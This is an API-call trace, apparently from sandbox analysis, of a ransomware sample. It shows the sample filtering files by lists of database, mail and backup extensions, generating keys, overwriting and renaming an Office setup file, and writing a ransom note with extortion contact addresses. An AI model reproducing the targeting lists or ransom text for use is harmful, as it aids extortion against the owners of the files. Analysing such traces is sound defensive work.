	[0081.122] lstrlenW (lpString=".PST") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.122] lstrlenW (lpString=".dbf") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.122] lstrlenW (lpString=".SQL") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.122] lstrlenW (lpString=".pst") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.122] lstrlenW (lpString=".dbv") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.122] lstrlenW (lpString=".SDF") returned 4
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.122] lstrlenW (lpString=".dtxs") returned 5
	[0081.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.122] lstrlenW (lpString=".db3") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.123] lstrlenW (lpString=".OST") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.123] lstrlenW (lpString=".dbx") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.123] lstrlenW (lpString=".DB3") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.123] lstrlenW (lpString=".DAT") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.123] lstrlenW (lpString=".VHDX") returned 5
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.123] lstrlenW (lpString=".ndf") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.123] lstrlenW (lpString=".DB") returned 3
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.123] lstrlenW (lpString=".sql") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.123] lstrlenW (lpString=".MYD") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.123] lstrlenW (lpString=".DBT") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.123] lstrlenW (lpString=".ACCDB") returned 6
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.123] lstrlenW (lpString=".fdb") returned 4
	[0081.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.123] lstrlenW (lpString=".bak") returned 4
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.124] lstrlenW (lpString=".myd") returned 4
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.124] lstrlenW (lpString=".DTXS") returned 5
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.124] lstrlenW (lpString=".ckp") returned 4
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.124] lstrlenW (lpString=".dbt") returned 4
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.124] lstrlenW (lpString=".db") returned 3
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.124] lstrlenW (lpString=".TXT") returned 4
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.124] lstrlenW (lpString=".MDF") returned 4
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.124] lstrlenW (lpString=".bdb") returned 4
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.124] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0081.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.124] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.125] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.125] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.126] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20111576545) returned 1
	[0081.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a340af0, dwHighDateTime=0x1d60e1e)) 
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac10
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac10 | out: hHeap=0x300000) returned 1
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.126] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.126] GetLastError () returned 0x0
	[0081.127] GetLastError () returned 0x0
	[0081.127] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.127] GetLastError () returned 0x0
	[0081.127] GetLastError () returned 0x0
	[0081.127] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x412b, lpOverlapped=0x0) returned 1
	[0081.131] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffbed5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.131] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x412b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x412b, lpOverlapped=0x0) returned 1
	[0081.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.131] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.132] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.132] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.132] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.132] CloseHandle (hObject=0x120) returned 1
	[0081.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.132] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.~~~~")) returned 1
	[0081.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fefe8 | out: hHeap=0x300000) returned 1
	[0081.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0081.133] GetLastError () returned 0x0
	[0081.133] RtlWakeConditionVariable () returned 0x365f70
	[0081.133] GetCurrentThreadId () returned 0x3a4
	[0081.133] GetCurrentThreadId () returned 0x3a4
	[0081.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7030 | out: hHeap=0x300000) returned 1
	[0081.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fabd8 | out: hHeap=0x300000) returned 1
	[0081.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.135] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.135] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.136] CloseHandle (hObject=0x120) returned 1
	[0081.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0a88 | out: hHeap=0x300000) returned 1
	[0081.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0081.136] RtlWakeConditionVariable () returned 0x365f70
	[0081.136] GetCurrentThreadId () returned 0x3a4
	[0081.136] GetCurrentThreadId () returned 0x3a4
	[0081.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3ee8
	[0081.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fad68 | out: hHeap=0x300000) returned 1
	[0081.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facb8 | out: hHeap=0x300000) returned 1
	[0081.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x27fad68
	[0081.136] lstrlenW (lpString=".scr") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".scr") returned 0x0
	[0081.137] lstrlenW (lpString=".cmd") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".cmd") returned 0x0
	[0081.137] lstrlenW (lpString=".dll") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dll") returned 0x0
	[0081.137] lstrlenW (lpString=".bat") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".bat") returned 0x0
	[0081.137] lstrlenW (lpString=".cpl") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".cpl") returned 0x0
	[0081.137] lstrlenW (lpString=".sys") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".sys") returned 0x0
	[0081.137] lstrlenW (lpString=".msc") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".msc") returned 0x0
	[0081.137] lstrlenW (lpString=".com") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".com") returned 0x0
	[0081.137] lstrlenW (lpString=".lnk") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".lnk") returned 0x0
	[0081.137] lstrlenW (lpString=".msp") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".msp") returned 0x0
	[0081.137] lstrlenW (lpString=".pif") returned 4
	[0081.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".pif") returned 0x0
	[0081.137] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.138] lstrlenW (lpString=".sqb") returned 4
	[0081.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".sqb") returned 0x0
	[0081.138] lstrlenW (lpString=".ost") returned 4
	[0081.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".ost") returned 0x0
	[0081.138] lstrlenW (lpString=".txt") returned 4
	[0081.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".txt") returned 0x0
	[0081.138] lstrlenW (lpString=".mdt") returned 4
	[0081.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".mdt") returned 0x0
	[0081.138] lstrlenW (lpString=".BDB") returned 4
	[0081.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".BDB") returned 0x0
	[0081.139] lstrlenW (lpString=".eql") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".eql") returned 0x0
	[0081.139] lstrlenW (lpString=".DBF") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DBF") returned 0x0
	[0081.139] lstrlenW (lpString=".EQL") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".EQL") returned 0x0
	[0081.139] lstrlenW (lpString=".FDB") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".FDB") returned 0x0
	[0081.139] lstrlenW (lpString=".EDB") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".EDB") returned 0x0
	[0081.139] lstrlenW (lpString=".DACPAC") returned 7
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0081.139] lstrlenW (lpString=".VHD") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".VHD") returned 0x0
	[0081.139] lstrlenW (lpString=".DBV") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DBV") returned 0x0
	[0081.139] lstrlenW (lpString=".dacpac") returned 7
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dacpac") returned 0x0
	[0081.139] lstrlenW (lpString=".sdf") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".sdf") returned 0x0
	[0081.139] lstrlenW (lpString=".accdb") returned 6
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".accdb") returned 0x0
	[0081.139] lstrlenW (lpString=".DBX") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DBX") returned 0x0
	[0081.139] lstrlenW (lpString=".MDT") returned 4
	[0081.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".MDT") returned 0x0
	[0081.140] lstrlenW (lpString=".SQB") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".SQB") returned 0x0
	[0081.140] lstrlenW (lpString=".vhd") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".vhd") returned 0x0
	[0081.140] lstrlenW (lpString=".bac") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".bac") returned 0x0
	[0081.140] lstrlenW (lpString=".mdf") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".mdf") returned 0x0
	[0081.140] lstrlenW (lpString=".BAK") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".BAK") returned 0x0
	[0081.140] lstrlenW (lpString=".BAC") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".BAC") returned 0x0
	[0081.140] lstrlenW (lpString=".dbs") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dbs") returned 0x0
	[0081.140] lstrlenW (lpString=".vhdx") returned 5
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".vhdx") returned 0x0
	[0081.140] lstrlenW (lpString=".NDF") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".NDF") returned 0x0
	[0081.140] lstrlenW (lpString=".dat") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".dat") returned 0x0
	[0081.140] lstrlenW (lpString=".DBS") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".DBS") returned 0x0
	[0081.140] lstrlenW (lpString=".CKP") returned 4
	[0081.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".CKP") returned 0x0
	[0081.140] lstrlenW (lpString=".edb") returned 4
	[0081.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpSrch=".edb") returned 0x0
	[0081.141] lstrlenW (lpString=".PST") returned 4
